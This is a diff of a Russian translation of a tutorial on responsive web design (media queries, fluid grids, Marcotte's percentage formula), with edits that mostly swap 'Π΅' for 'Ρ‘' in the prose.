+<p><span class="tlid-translation translation" lang="ru"><span title="">На Π·Π°Ρ€Π΅ Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π° страницы создавались для экрана ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°.</span></span> Если Ρƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Π±Ρ‹Π» экран большСго ΠΈΠ»ΠΈ мСньшСго Ρ€Π°Π·ΠΌΠ΅Ρ€Π° Ρ‡Π΅ΠΌ ΠΎΠΆΠΈΠ΄Π°Π» Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€, Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ ΠΌΠΎΠ³ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ Π½Π΅ΠΆΠ΅Π»Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… полос ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‚ΠΊΠΈ, Π΄ΠΎ<span class="tlid-translation translation" lang="ru"><span title=""> слишком Π΄Π»ΠΈΠ½Π½ΠΎΠΉ строки ΠΈ ΠΏΠ»ΠΎΡ…ΠΎΠ³ΠΎ использования пространства. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΡΡ‚Π°Π½ΠΎΠ²ΠΈΠ»ΠΈΡΡŒ доступны ΠΌΠ½ΠΎΠ³ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ² экранов, появилась концСпция <em>ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ (Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ) Π²Π΅Π±-Π΄ΠΈΠ·Π°ΠΉΠ½Π°</em> </span></span><em>(responsive web design</em> (RWD))Β β€” Π½Π°Π±ΠΎΡ€ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π΅Π±-страницам ΠΌΠ΅Π½ΡΡ‚ΡŒ свой ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΈ внСшний Π²ΠΈΠ΄ Π² соотвСтствии с Ρ€Π°Π·Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ экрана, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ Ρ‚.Π΄. Π­Ρ‚ΠΎ Ρ‚Π° самая, идСя которая ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ»Π° ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ ΠΊ Π΄ΠΈΠ·Π°ΠΉΠ½Ρƒ Π²Π΅Π±Π° для мноТСства устройств, ΠΈ Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ ΠΏΠΎΠΌΠΎΠΆΠ΅ΠΌ Π²Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ основныС ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒ Π΅Π³ΠΎ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -70,7 +70,7 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
<h2 id="ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½">ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½</h2>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π΅Ρ€ΠΌΠΈΠ½ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Ρ‹Π» </span></span><a href="https://alistapart.com/article/responsive-web-design/">ΠŸΡ€ΠΈΠ΄ΡƒΠΌΠ°Π½ Π˜Ρ‚Π°Π½ΠΎΠΌ ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚ΠΎΠΌ Π² 2010 Π³ΠΎΠ΄Ρƒ</a><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ описывал использованиС Ρ‚Ρ€Π΅Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π² сочСтании.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π’Π΅Ρ€ΠΌΠΈΠ½ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Ρ‹Π» </span></span><a href="https://alistapart.com/article/responsive-web-design/">ΠŸΡ€ΠΈΠ΄ΡƒΠΌΠ°Π½ Π˜Ρ‚Π°Π½ΠΎΠΌ ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚ΠΎΠΌ Π² 2010 Π³ΠΎΠ΄Ρƒ</a><span class="tlid-translation translation" lang="ru"><span title=""> ΠΈ описывал использованиС Ρ‚Ρ€Ρ‘Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² Π² сочСтании.</span></span></p>
<ol>
<li>ΠŸΠ΅Ρ€Π²ΠΎΠΉ Π±Ρ‹Π»Π° идСя ΠΆΠΈΠ΄ΠΊΠΈΡ… сСток, Π½Π΅Ρ‡Ρ‚ΠΎ Ρ‡Ρ‚ΠΎ ΡƒΠΆΠ΅ исслСдовала Π“ΠΈΠ»Π»Π΅Π½Π²ΠΎΡ‚Π΅Ρ€, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π² ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚Π° - <a href="https://alistapart.com/article/fluidgrids/">Fluid Grids</a> (ΠΎΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ΠΎ Π² 2009 Π² A List Apart).</li>
@@ -84,7 +84,7 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
<h2 id="Media_Queries_ΠœΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡ">Media Queries (ΠœΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡ)</h2>
-<p>ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Ρ‹Π» способСн появится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ благодаря media query. БпСцификация Media Queries Level 3 стала Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠšΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠΌ Π² 2009 Π³ΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠ·Π½Π°Π½Π° Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠœΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΡΠ΅Ρ€ΠΈΡŽ тСстов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, являСтся Π»ΠΈ экран ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ большС, Ρ‡Π΅ΠΌ опрСдСлСнная ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅) ΠΈΒ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ CSS ΠΊ ΡΡ‚ΠΈΠ»ΡŽ страницы соотвСтствСнно с Π½ΡƒΠΆΠ΄Π°ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</span></span></p>
+<p>ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ Π±Ρ‹Π» способСн появится Ρ‚ΠΎΠ»ΡŒΠΊΠΎ благодаря media query. БпСцификация Media Queries Level 3 стала Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ ΠšΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠΌ Π² 2009 Π³ΠΎΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, <span class="tlid-translation translation" lang="ru"><span title="">Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π±Ρ‹Π»Π° ΠΏΡ€ΠΈΠ·Π½Π°Π½Π° Π³ΠΎΡ‚ΠΎΠ²ΠΎΠΉ ΠΊ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ…. ΠœΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΡ€ΠΎΠ²ΠΎΠ΄ΠΈΡ‚ΡŒ ΡΠ΅Ρ€ΠΈΡŽ тСстов (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, являСтся Π»ΠΈ экран ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ большС, Ρ‡Π΅ΠΌ опрСдСлённая ΡˆΠΈΡ€ΠΈΠ½Π° ΠΈΠ»ΠΈ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅) ΠΈΒ Π²Ρ‹Π±ΠΎΡ€ΠΎΡ‡Π½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ CSS ΠΊ ΡΡ‚ΠΈΠ»ΡŽ страницы соотвСтствСнно с Π½ΡƒΠΆΠ΄Π°ΠΌΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ.</span></span></p>
<p>НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ ΠΌΠ΅Π΄ΠΈΠ°Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ провСряСт отобраТаСтся Π»ΠΈ тСкущая страница ΠΊΠ°ΠΊ экранная ΠΌΠ΅Π΄ΠΈΠ° (Π° Π½Π΅ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ‡Π°Ρ‚Π½Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚) ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΠΈ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ просмотра ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΊΠ°ΠΊ ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ 800 px. CSSΒ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ ΠΊ сСлСктору <code>.container</code> Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли эти Π΄Π²Π΅ Π²Π΅Ρ‰ΠΈ истины.</p>
@@ -103,11 +103,11 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
<h2 id="Π“ΠΈΠ±ΠΊΠΈΠ΅_сСтки">Π“ΠΈΠ±ΠΊΠΈΠ΅ сСтки</h2>
-<p>ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ сайты Π½Π΅ просто ΠΌΠ΅Π½ΡΡŽΡ‚ свой ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ, ΠΎΠ½ΠΈ построСны Π½Π° Π³ΠΈΠ±ΠΊΠΈΡ… сСтках. Гибкая сСтка ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΌ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ устройства ΠΈ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ для Π½ΠΈΡ… ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ Π² пиксСлях. Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π±Ρ‹Π» Π±Ρ‹ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ΅Π½ имСя ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ мноТСство ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… устройств Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠ°ΠΊ ΠΈ Ρ„Π°ΠΊΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Π½Π° ПК люди Π½Π΅ всСгда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с Ρ€Π°Π·Π²Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΌ Π΄ΠΎ максимума ΠΎΠΊΠ½ΠΎΠΌ.</p>
+<p>ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹Π΅ сайты Π½Π΅ просто ΠΌΠ΅Π½ΡΡŽΡ‚ свой ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Ρ‹ΠΌΠΈ Ρ‚ΠΎΡ‡ΠΊΠ°ΠΌΠΈ, ΠΎΠ½ΠΈ построСны Π½Π° Π³ΠΈΠ±ΠΊΠΈΡ… сСтках. Гибкая сСтка ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½Π°Π΄ΠΎ Π·Π°Π±ΠΎΡ‚ΠΈΡ‚ΡŒΡΡ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΌ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ устройства ΠΈ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ для Π½ΠΈΡ… ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ Π² пиксСлях. Π’Π°ΠΊΠΎΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ Π±Ρ‹Π» Π±Ρ‹ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ΅Π½ имСя ΡˆΠΈΡ€ΠΎΠΊΠΎΠ΅ мноТСство ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… устройств Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ², ΠΊΠ°ΠΊ ΠΈ Ρ„Π°ΠΊΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π΄Π°ΠΆΠ΅ Π½Π° ПК люди Π½Π΅ всСгда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ с Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΌ Π΄ΠΎ максимума ΠΎΠΊΠ½ΠΎΠΌ.</p>
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π³ΠΈΠ±ΠΊΡƒΡŽ сСтку, Π²Π°ΠΌ всСго лишь Π½Π°Π΄ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½ΡƒΡŽ Ρ‚ΠΎΡ‡ΠΊΡƒ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΄ΠΈΠ·Π°ΠΉΠ½ Π² Ρ‚ΠΎΡ‡ΠΊΠ΅, ΠΊΠΎΠ³Π΄Π° ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ ΠΏΠ»ΠΎΡ…ΠΎ. НапримСр, Ссли Π΄Π»ΠΈΠ½Π° строки становится Π½Π΅Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎ Π΄Π»ΠΈΠ½Π½ΠΎΠΉ ΠΏΡ€ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° экрана, ΠΈΠ»ΠΈ Π±Π»ΠΎΠΊ становится сдавлСнным с двумя словами Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ строкС ΠΏΡ€ΠΈ суТСнии экрана.</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π½ΠΈ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, нашим СдинствСнным Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ выполнСния Π±Ρ‹Π»ΠΎ использованиС <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>. Π“ΠΈΠ±ΠΊΠΈΠΉ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ достигался ΠΏΡƒΡ‚Π΅ΠΌ присвоСния ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΠ²ΡˆΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹Π΅ значСния Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ Π½Π΅ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°ΡŽΡ‚ 100%. <span class="tlid-translation translation" lang="ru"><span title="">Π’ своСй ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ ΠΏΠ»Π°Π²ΡƒΡ‡ΠΈΡ… сСтках ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описал Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ для прСобразования ΠΌΠ°ΠΊΠ΅Ρ‚Π°, созданного с использованиСм пиксСлСй, Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹.</span></span></p>
+<p>Π’ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π½ΠΈ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, нашим СдинствСнным Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠΌ выполнСния Π±Ρ‹Π»ΠΎ использованиС <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">floats</a>. Π“ΠΈΠ±ΠΊΠΈΠΉ ΠΎΠ±Ρ‚Π΅ΠΊΠ°Π΅ΠΌΡ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚ достигался ΠΏΡƒΡ‚Ρ‘ΠΌ присвоСния ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ элСмСнту ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Π½ΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΠ²ΡˆΠΈΡΡŒ, Ρ‡Ρ‚ΠΎ ΠΈΡ‚ΠΎΠ³ΠΎΠ²Ρ‹Π΅ значСния Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ Π½Π΅ ΠΏΡ€Π΅Π²Ρ‹ΡˆΠ°ΡŽΡ‚ 100%. <span class="tlid-translation translation" lang="ru"><span title="">Π’ своСй ΠΎΡ€ΠΈΠ³ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΎ ΠΏΠ»Π°Π²ΡƒΡ‡ΠΈΡ… сСтках ΠœΠ°Ρ€ΠΊΠΎΡ‚Ρ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описал Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρƒ для прСобразования ΠΌΠ°ΠΊΠ΅Ρ‚Π°, созданного с использованиСм пиксСлСй, Π² ΠΏΡ€ΠΎΡ†Π΅Π½Ρ‚Ρ‹.</span></span></p>
<pre class="notranslate"><code>target / context = result </code>
</pre>
@@ -119,7 +119,7 @@ original_slug: Learn/CSS/CSS_layout/ΠžΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ_Π΄ΠΈΠ·Π°ΠΉΠ½
} </code>
</pre>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ сСгодня ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… мСстах Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈ ΠΎΠ½ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ здСсь Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²</a>. Π’ вашСй Ρ€Π°Π±ΠΎΡ‚Π΅ вСроятно, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ с Π²Π΅Π±-сайтами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΠΈ этот ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, поэтому стоит ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΅Π³ΠΎ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ соврСмСнныС сайты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π³ΠΈΠ±ΠΊΠΈΠ΅ сСтки основанныС Π½Π° float.</p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎΡ‚ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ сСгодня ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… мСстах Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅ ΠΈ ΠΎΠ½ Π·Π°Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ здСсь Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π² нашСй ΡΡ‚Π°Ρ‚ΡŒΠ΅ </span></span><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΡ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²</a>. Π’ вашСй Ρ€Π°Π±ΠΎΡ‚Π΅ вСроятно, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ с Π²Π΅Π±-сайтами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΠΌΠΈ этот ΠΏΠΎΠ΄Ρ…ΠΎΠ΄, поэтому стоит ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΅Π³ΠΎ, Π΄Π°ΠΆΠ΅ Ссли Π²Ρ‹ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ соврСмСнныС сайты ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π³ΠΈΠ±ΠΊΠΈΠ΅ сСтки основанныС Π½Π° float.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ дСмонстрируСт простой ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²Ρ‹ΠΉ Π΄ΠΈΠ·Π°ΠΉΠ½ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Media Query ΠΈ Π³ΠΈΠ±ΠΊΠΈΠ΅ сСтки. На ΡƒΠ·ΠΊΠΈΡ… экранах ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ Π±Π»ΠΎΠΊΠΈ, слоТСнныС Π΄Ρ€ΡƒΠ³ Π½Π° Π΄Ρ€ΡƒΠ³Π°:</p>
